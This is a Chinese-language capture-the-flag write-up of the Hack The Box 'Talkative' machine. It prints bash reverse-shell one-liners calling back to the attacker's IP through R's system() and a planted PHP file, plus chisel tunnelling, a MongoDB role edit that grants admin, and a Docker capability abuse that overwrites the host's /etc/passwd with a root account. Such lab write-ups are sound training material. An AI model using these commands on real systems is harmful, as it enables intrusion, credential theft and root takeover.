【Hack The Box】linux练习-- Talkative
🔥系列专栏:Hack The Box
🎉欢迎关注🔎点赞👍收藏⭐️留言📝
📆首发时间:🌴2022年11月27日🌴
🍭作者水平很有限,如果发现错误,还望告知,感谢!
22/tcp filtered ssh
80/tcp open http Apache httpd 2.4.52
|_http-generator: Bolt
|_http-server-header: Apache/2.4.52 (Debian)
|_http-title: Talkative.htb | Talkative
3000/tcp open ppp?
| fingerprint-strings:
| GetRequest:
| HTTP/1.1 200 OK
| X-XSS-Protection: 1
| X-Instance-ID: 7BEhgKZrHjYcyBD4y
| Content-Type: text/html; charset=utf-8
| Vary: Accept-Encoding
| Date: Mon, 22 Aug 2022 16:46:57 GMT
| Connection: close
| <!DOCTYPE html>
| <html>
| <head>
| <link rel="stylesheet" type="text/css" class="__meteor-css__"
...[snip]...
8080/tcp open http Tornado httpd 5.0
|_http-server-header: TornadoServer/5.0
|_http-title: jamovi
8081/tcp open http Tornado httpd 5.0
|_http-server-header: TornadoServer/5.0
|_http-title: 404: Not Found
8082/tcp open http Tornado httpd 5.0
|_http-server-header: TornadoServer/5.0
|_http-title: 404: Not Found
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port3000-TCP:V=7.80%I=7%D=8/22%Time=6303B300%P=x86_64-pc-linux-gnu%r(Ge
...[snip]...
Service Info: Host: 172.17.0.10
Janit Smith janit@talkative.htb
Matt Williams matt@talkative.htb
Saul Goodman saul@talkative.htb
“产品”部分显示了三种产品。 此处值得注意的是对其他技术的引用。 “Talk-A-Stats”提到 了 Jamovi 。 “Talkforbiz”产品提到了 Rocket Chat 。
在页面底部,有一个反馈表,其中包含另一个电子邮件地址, support@talkative.htb. 提交该表单会返回错误:
HTTP/1.1 200 OK
Date: Mon, 22 Aug 2022 15:54:16 GMT
Server: Apache/2.4.52 (Debian)
X-Powered-By: PHP/7.4.28
Cache-Control: max-age=0, must-revalidate, private
permissions-policy: interest-cohort=()
X-Powered-By: Bolt
Link: <http://talkative.htb/api/docs.jsonld>; rel="http://www.w3.org/ns/hydra/core#apiDocumentation"
Expires: Mon, 22 Aug 2022 15:54:17 GMT
Vary: Accept-Encoding
Content-Length: 36943
Connection: close
Content-Type: text/html; charset=UTF-8
采用了bolt
目录爆破没有结果
以前遇到过,弱口令没有,注册会有信息
注册邮箱类似于saul@talkative.htb
给他发消息他也不回我
但是还是获得了一个可能是用户的东西,除此之外什么都没有
爆破页面之后得到了一个/admin
可是没有什么信息
这两个应该都是基于8080的服务端口
这是 jamovi 的一个实例:
并且告诉我们这个版本存在问题1
尽管它有一个允许通过上传恶意文件进行 XSS 攻击的 CVE。 在这里,我将滥用 jamovi 的内置功能
R有一个内置的 system 命令 来运行操作系统命令。
# summary(data[1:3])
system ("id",intern = TRUE)
难道反弹一个shell直接就是root?
# summary(data[1:3])
system ("bash -c 'bash -i >& /dev/tcp/10.10.14.29/8888 0>&1'" , intern = TRUE
script /dev/null -c bash
但是没有root.txt
那这是个什么root
也许是在一个容器
root@b06821bbda78:~# hostname
b06821bbda78
root@b06821bbda78:~# ip addr
bash: ip: command not found
root@b06821bbda78:~# ifconfig
bash: ifconfig: command not found
root@b06821bbda78:~# cat /proc/net/fib_trie
Main:
...[snip]...
+-- 172.18.0.0/16 2 0 2
+-- 172.18.0.0/30 2 0 2
|-- 172.18.0.0
/32 link BROADCAST
/16 link UNICAST
|-- 172.18.0.2
...[snip]...
命令都没有。。。
这确实是一个容器,ip是内网ip
172.18.0.2
发现了omv文件,传到本地
unzip bolt-administration.omv
cat xdata.json | jq -c '.[]'
有一个js文件,我们用上面的方式打开它
matt/janit/saul
jeO09ufhWD<s/bZ89h}V<S_DA/)SQWGm>9KHEA
要尝试这凭证,我需要弄清楚我可以在哪里使用它们。 鉴于名称 .ovm文件,似乎是 Bolt CMS。 但在朝那个方向走得太远之前,最好确保它们在其他任何地方都不起作用。
我的第一个想法是通过 SSH 连接到主机,可能是 172.18.0.1。 SSH 是从外部过滤的,但也许从容器中它会起作用。 很遗憾, ssh未安装在容器上。 我可以从上传 凿子 和隧道 ssh我的 VM 上的客户端,但我将首先查看 Web 界面。
jamovi 似乎没有管理界面或任何类型的登录。
当以管理员身份登录时, Rocket Chat 将 在用户菜单中有一个指向“管理”的链接。
而后我试图使用这几个密码ssh对应的账户,但是我失败了
所以我开始尝试密码重用
去bolt
http://talkative.htb/bolt/login
所有的已知账户都不行
但是admin可以
这个密码可以
jeO09ufhWD<s
我用的admin但是登陆的事saul,而且我用的是matt的密码
真奇怪
置页面显示 config/config.yaml文件
配置文件什么也没有漏出来
接着还有php文件,如果我能修改他,也许可以执行?
我将尝试一下
是的我可以修改
system("bash -c 'bash -i >& /dev/tcp/10.10.14.29/7777 0>&1")
但是出问题了
应该是我没有加结尾
我重置了靶机之后把多余的全部删除
最终结果如下
<?php
system("bash -c 'bash -i >& /dev/tcp/10.10.14.29/7777 0>&1'")
?>
而后刷新页面即可
script /dev/null -c bash
cat /proc/net/fib_trie
+-- 0.0.0.0/0 3 0 5
|-- 0.0.0.0
/0 universe UNICAST
+-- 127.0.0.0/8 2 0 2
+-- 127.0.0.0/31 1 0 0
|-- 127.0.0.0
/32 link BROADCAST
/8 host LOCAL
|-- 127.0.0.1
/32 host LOCAL
|-- 127.255.255.255
/32 link BROADCAST
+-- 172.17.0.0/16 2 0 2
+-- 172.17.0.0/27 2 0 2
|-- 172.17.0.0
/32 link BROADCAST
/16 link UNICAST
|-- 172.17.0.17
/32 host LOCAL
|-- 172.17.255.255
/32 link BROADCAST
Local:
+-- 0.0.0.0/0 3 0 5
|-- 0.0.0.0
/0 universe UNICAST
+-- 127.0.0.0/8 2 0 2
+-- 127.0.0.0/31 1 0 0
|-- 127.0.0.0
/32 link BROADCAST
/8 host LOCAL
|-- 127.0.0.1
/32 host LOCAL
|-- 127.255.255.255
/32 link BROADCAST
+-- 172.17.0.0/16 2 0 2
+-- 172.17.0.0/27 2 0 2
|-- 172.17.0.0
/32 link BROADCAST
/16 link UNICAST
|-- 172.17.0.17
/32 host LOCAL
|-- 172.17.255.255
/32 link BROADCAST
主机名为 ba67799048d7,IP 为 172.17.0.10
这个容器确实有 ssh客户端已安装,所以我会在主机上试一试,大概是 172.17.0.1。 考虑到密码与我已经注意到的用户名不匹配,我将尝试名称和密码的所有组合,以及适用于 Bolt 的同一组组合
我们就像另一个容器中的 www-data,因为我们的 ip 是 172.17.0.10 我想 172.17.0.1 存在。
jeO09ufhWD<s
全靠手试,从1开始试
不过好在1就成功了,不然我真的我连端口都转发不出来
ps auxww | grep docker
所有的文件都在docker中运行
root 916 0.0 1.1 1455780 23636 ? Ssl 15:21 0:15 /usr/bin/dockerd -H fd:// --containerd=/run/containerd/containerd.sock
root 1275 0.0 0.0 1149100 660 ? Sl 15:21 0:00 /usr/bin/docker-proxy -proto tcp -host-ip 0.0.0.0 -host-port 8082 -container-ip 172.18.0.2 -container-port 41339
root 1281 0.0 0.0 1150508 788 ? Sl 15:21 0:00 /usr/bin/docker-proxy -proto tcp -host-ip :: -host-port 8082 -container-ip 172.18.0.2 -container-port 41339
root 1298 0.0 0.0 1222576 908 ? Sl 15:21 0:00 /usr/bin/docker-proxy -proto tcp -host-ip 0.0.0.0 -host-port 8081 -container-ip 172.18.0.2 -container-port 41338
root 1303 0.0 0.0 1223984 1100 ? Sl 15:21 0:00 /usr/bin/docker-proxy -proto tcp -host-ip :: -host-port 8081 -container-ip 172.18.0.2 -container-port 41338
root 1320 0.0 0.0 1222832 1364 ? Sl 15:21 0:00 /usr/bin/docker-proxy -proto tcp -host-ip 0.0.0.0 -host-port 8080 -container-ip 172.18.0.2 -container-port 41337
root 1326 0.0 0.0 1076520 1120 ? Sl 15:21 0:00 /usr/bin/docker-proxy -proto tcp -host-ip :: -host-port 8080 -container-ip 172.18.0.2 -container-port 41337
root 1452 0.0 0.0 1150252 640 ? Sl 15:21 0:00 /usr/bin/docker-proxy -proto tcp -host-ip 127.0.0.1 -host-port 3000 -container-ip 172.17.0.3 -container-port 3000
root 1576 0.0 0.0 1222576 1248 ? Sl 15:21 0:00 /usr/bin/docker-proxy -proto tcp -host-ip 172.17.0.1 -host-port 6000 -container-ip 172.17.0.4 -container-port 80
root 1733 0.0 0.0 1148844 1288 ? Sl 15:21 0:00 /usr/bin/docker-proxy -proto tcp -host-ip 172.17.0.1 -host-port 6001 -container-ip 172.17.0.5 -container-port 80
root 1852 0.0 0.0 1148844 1184 ? Sl 15:21 0:00 /usr/bin/docker-proxy -proto tcp -host-ip 172.17.0.1 -host-port 6002 -container-ip 172.17.0.6 -container-port 80
root 1967 0.0 0.0 1149100 608 ? Sl 15:21 0:00 /usr/bin/docker-proxy -proto tcp -host-ip 172.17.0.1 -host-port 6003 -container-ip 172.17.0.7 -container-port 80
root 2077 0.0 0.0 1223984 468 ? Sl 15:21 0:00 /usr/bin/docker-proxy -proto tcp -host-ip 172.17.0.1 -host-port 6004 -container-ip 172.17.0.8 -container-port 80
root 2196 0.0 0.0 1223984 420 ? Sl 15:21 0:00 /usr/bin/docker-proxy -proto tcp -host-ip 172.17.0.1 -host-port 6005 -container-ip 172.17.0.9 -container-port 80
root 2303 0.0 0.0 1075112 1364 ? Sl 15:21 0:00 /usr/bin/docker-proxy -proto tcp -host-ip 172.17.0.1 -host-port 6006 -container-ip 172.17.0.10 -container-port 80
root 2417 0.0 0.0 1149100 812 ? Sl 15:21 0:00 /usr/bin/docker-proxy -proto tcp -host-ip 172.17.0.1 -host-port 6007 -container-ip 172.17.0.11 -container-port 80
root 2535 0.0 0.0 1222576 396 ? Sl 15:21 0:00 /usr/bin/docker-proxy -proto tcp -host-ip 172.17.0.1 -host-port 6008 -container-ip 172.17.0.12 -container-port 80
root 2661 0.0 0.0 1222576 692 ? Sl 15:21 0:00 /usr/bin/docker-proxy -proto tcp -host-ip 172.17.0.1 -host-port 6009 -container-ip 172.17.0.13 -container-port 80
root 2774 0.0 0.0 1075112 672 ? Sl 15:21 0:00 /usr/bin/docker-proxy -proto tcp -host-ip 172.17.0.1 -host-port 6010 -container-ip 172.17.0.14 -container-port 80
root 2889 0.0 0.0 1149100 1424 ? Sl 15:21 0:00 /usr/bin/docker-proxy -proto tcp -host-ip 172.17.0.1 -host-port 6011 -container-ip 172.17.0.15 -container-port 80
root 3004 0.0 0.0 1148844 600 ? Sl 15:21 0:00 /usr/bin/docker-proxy -proto tcp -host-ip 172.17.0.1 -host-port 6012 -container-ip 172.17.0.16 -container-port 80
root 3115 0.0 0.0 1075112 592 ? Sl 15:21 0:00 /usr/bin/docker-proxy -proto tcp -host-ip 172.17.0.1 -host-port 6013 -container-ip 172.17.0.17 -container-port 80
root 3223 0.0 0.0 1222576 420 ? Sl 15:21 0:00 /usr/bin/docker-proxy -proto tcp -host-ip 172.17.0.1 -host-port 6014 -container-ip 172.17.0.18 -container-port 80
root 3338 0.0 0.0 1150252 388 ? Sl 15:21 0:00 /usr/bin/docker-proxy -proto tcp -host-ip 172.17.0.1 -host-port 6015 -container-ip 172.17.0.19 -container-port 80
saul 8245 0.0 0.0 6432 656 pts/0 S+ 19:59 0:00 grep --color=auto docker
发现只有一个2没有任何的动作
我将ping一下看看他是个什么情况
我将放一个静态nmap,来进行一些扫描
https://github.com/andrew-d/static-binaries/blob/master/binaries/linux/x86_64/nmap
但是默认扫描没有开放的端口
我们多扫一点
./nmap 172.17.0.2 --min-rate 10000 -p-
27017 通常用于 MongoDB。
chisel_1.7.7_linux_amd64 server -p 8000 --reverse
./chisel_1.7.7_linux_amd64 client 10.10.14.29:8000 R:27017:172.17.0.2:27017
该赋权赋权
转发出来以后我们要用本地的mongodb打开
没有的话如下安装
apt install mongodb-clients
mongo
show databases
use meteor
db.getCollectionNames()
有 59 个集合(如表格),其中大部分以 rocketchat_:
db.users.find()
{ "_id" : "rocket.cat", "createdAt" : ISODate("2021-08-10T19:44:00.224Z"), "avatarOrigin" : "local", "name" : "Rocket.Cat", "username" : "rocket.cat", "status" : "online", "statusDefault" : "online", "utcOffset" : 0, "active" : true, "type" : "bot", "_updatedAt" : ISODate("2021-08-10T19:44:00.615Z"), "roles" : [ "bot" ] }
{ "_id" : "ZLMid6a4h5YEosPQi", "createdAt" : ISODate("2021-08-10T19:49:48.673Z"), "services" : { "password" : { "bcrypt" : "$2b$10$jzSWpBq.eJ/yn/Pdq6ilB.UO/kXHB1O2A.b2yooGebUbh69NIUu5y" }, "email" : { "verificationTokens" : [ { "token" : "dgATW2cAcF3adLfJA86ppQXrn1vt6omBarI8VrGMI6w", "address" : "saul@talkative.htb", "when" : ISODate("2021-08-10T19:49:48.738Z") } ] }, "resume" : { "loginTokens" : [ ] } }, "emails" : [ { "address" : "saul@talkative.htb", "verified" : false } ], "type" : "user", "status" : "offline", "active" : true, "_updatedAt" : ISODate("2022-11-26T14:19:35.252Z"), "roles" : [ "admin" ], "name" : "Saul Goodman", "lastLogin" : ISODate("2022-03-15T17:06:56.543Z"), "statusConnection" : "offline", "username" : "admin", "utcOffset" : 0 }
{ "_id" : "CNT3t4RJkHZFegE3m", "createdAt" : ISODate("2022-11-26T14:45:23.956Z"), "services" : { "password" : { "bcrypt" : "$2b$10$EGrDB..OFWrAaGJ8sg9zgOLkKgmmuO8CapeSeBBz3fLQ6bY9HCde.", "reset" : { "token" : "Tpx9jOL7EBAHtnicU-SwKF9EYZ6eYGqYXHWnd3J8XQe", "email" : "rongsec@talkative.htb", "when" : ISODate("2022-11-26T14:45:30.122Z"), "reason" : "enroll" } }, "email" : { "verificationTokens" : [ { "token" : "lxKfeVzSeDooUp4xoO2jQCYlS4gqdMdThw9KXZH6d0D", "address" : "rongsec@talkative.htb", "when" : ISODate("2022-11-26T14:45:23.998Z") } ] }, "resume" : { "loginTokens" : [ { "when" : ISODate("2022-11-26T14:45:24.419Z"), "hashedToken" : "sWUoHQfWt1HlKpc2xi/wGINv1tLZLX1prB5/E0/6I1U=" } ] } }, "emails" : [ { "address" : "rongsec@talkative.htb", "verified" : false } ], "type" : "user", "status" : "online", "active" : true, "_updatedAt" : ISODate("2022-11-26T14:48:45.044Z"), "roles" : [ "user" ], "name" : "rongsec", "lastLogin" : ISODate("2022-11-26T14:48:45Z"), "statusConnection" : "online", "utcOffset" : -5, "username" : "rongsec" }
我们目前掌握的用户是admin,而这个服务又是基于rock chet的
所以我想到我之前有一个/admin目录,可以查看一些信息
所以我将利用我的admin权限,赋予我在rock chet创建的用户admin权限,看看会有什么不同
db.users.update({"_id": "CNT3t4RJkHZFegE3m"}, { $set: { "roles" : ["admin"]}})
多了许多东西
我将选择集成模块,而这仅仅是因为他有一个代码块的标志
https://docs.rocket.chat/guides/administration/admin-panel/integrations
官方文档说明了集成模块采用js代码
所以我将输入一个出站js反弹shell代码
https://www.revshells.com/
用这个网站生成
然后再头部加一行
const require = console.log.constructor('return process.mainModule.require')();
用于指向进程,js反弹shell很多都要这么处理,通用的基本上
还是个docker用户
script /dev/null -c bash
这是一个docker,所以我会用下面的脚本来枚举docker漏洞
https://github.com/stealthcopter/deepce
因为这个靶机没有wget,所以我们直接base64脚本而后在靶机
echo "" > 1.txt
cat 1.txt | base64 -d > deepce.sh
chmod +x deepce.sh
bash deepce.sh
没问题,除了下面这个,有capsh依赖项没被安装
那么我们就要查找一下系统版本然后给靶机安装依赖项,因为他是root,所以才能安装
cat /etc/os-release
查看系统版本信息
Debian 10 (buster):
下载相关依赖包
wget http://http.us.debian.org/debian/pool/main/libc/libcap2/libcap2-bin_2.25-2_amd64.deb
wget http://http.us.debian.org/debian/pool/main/libc/libcap2/libcap2_2.25-2_amd64.deb
同样的方法来传输
而后安装依赖
dpkg -i libcap2_2.25-2_amd64.deb
dpkg -i libcap2-bin_2.25-2_amd64.deb
cap_dac_read_search
常用的方法有非法读取主机,以及非法写入主机
我将主要利用第二种,因为第一种有现成的工具,这个将在最后说
hachtrick中有提到
https://book.hacktricks.xyz/linux-hardening/privilege-escalation/linux-capabilities#cap_dac_override
我将按照脚本中的提示编译文件
然后老方法上传到靶机
而后赋权
(文件是priv)
而后执行写入
./priv /etc/hostname a
现在去到真实的主机上查看,确实已经被覆盖了
现在就开始写入密码
openssl passwd -1 rong
echo 'rong:$1$Dr9BtZXw$VZ7J.H58FZFtxZi3QdqWF.:0:0:pwned:/root:/bin/bash' >> passwd
./priv /etc/passwd passwd
账号密码都是rong
在这个地方动作要快,然后多试几次,我差不多试了10次才成功